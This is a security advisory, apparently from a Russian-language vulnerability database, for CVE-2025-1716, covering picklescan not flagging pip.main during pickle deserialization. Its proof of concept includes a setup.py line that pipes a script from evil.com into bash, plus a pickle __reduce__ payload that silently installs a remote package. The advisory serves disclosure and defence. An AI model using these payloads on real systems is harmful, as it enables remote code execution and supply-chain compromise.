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GHSA-655q-fx9r-782v

Опубликовано: 03 мар. 2025
Источник: github
Github: Прошло ревью
CVSS4: 5.3

Описание

Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

CVE-2025-1716

Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Details

Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

  1. During unpickling, it calls pip.main() to install a malicious PyPI package.
  2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
  3. Execution is silent, with minimal logging to avoid detection.

PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.

Example malicious setup.py

from setuptools import setup import os os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script setup( name="rsac-demo-package", version="0.1", packages=["rsac_demo"], install_requires=[], )

Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle

import pickle import pip class Exploit: def __reduce__(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], ) malicious_pickle = pickle.dumps(Exploit()) # Simulating deserialization attack pickle.loads(malicious_pickle)

This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.

Impact

Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Recommended Fixes

Add "pip": "*" to the list of unsafe globals

Пакеты

Наименование

picklescan

pip
Затронутые версииВерсия исправления

<= 0.0.21

0.0.22

EPSS

Процентиль: 88%
0.04248
Низкий

5.3 Medium

CVSS4

Дефекты

CWE-184

Связанные уязвимости

CVSS3: 9.8
nvd
12 месяцев назад

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

EPSS

Процентиль: 88%
0.04248
Низкий

5.3 Medium

CVSS4

Дефекты

CWE-184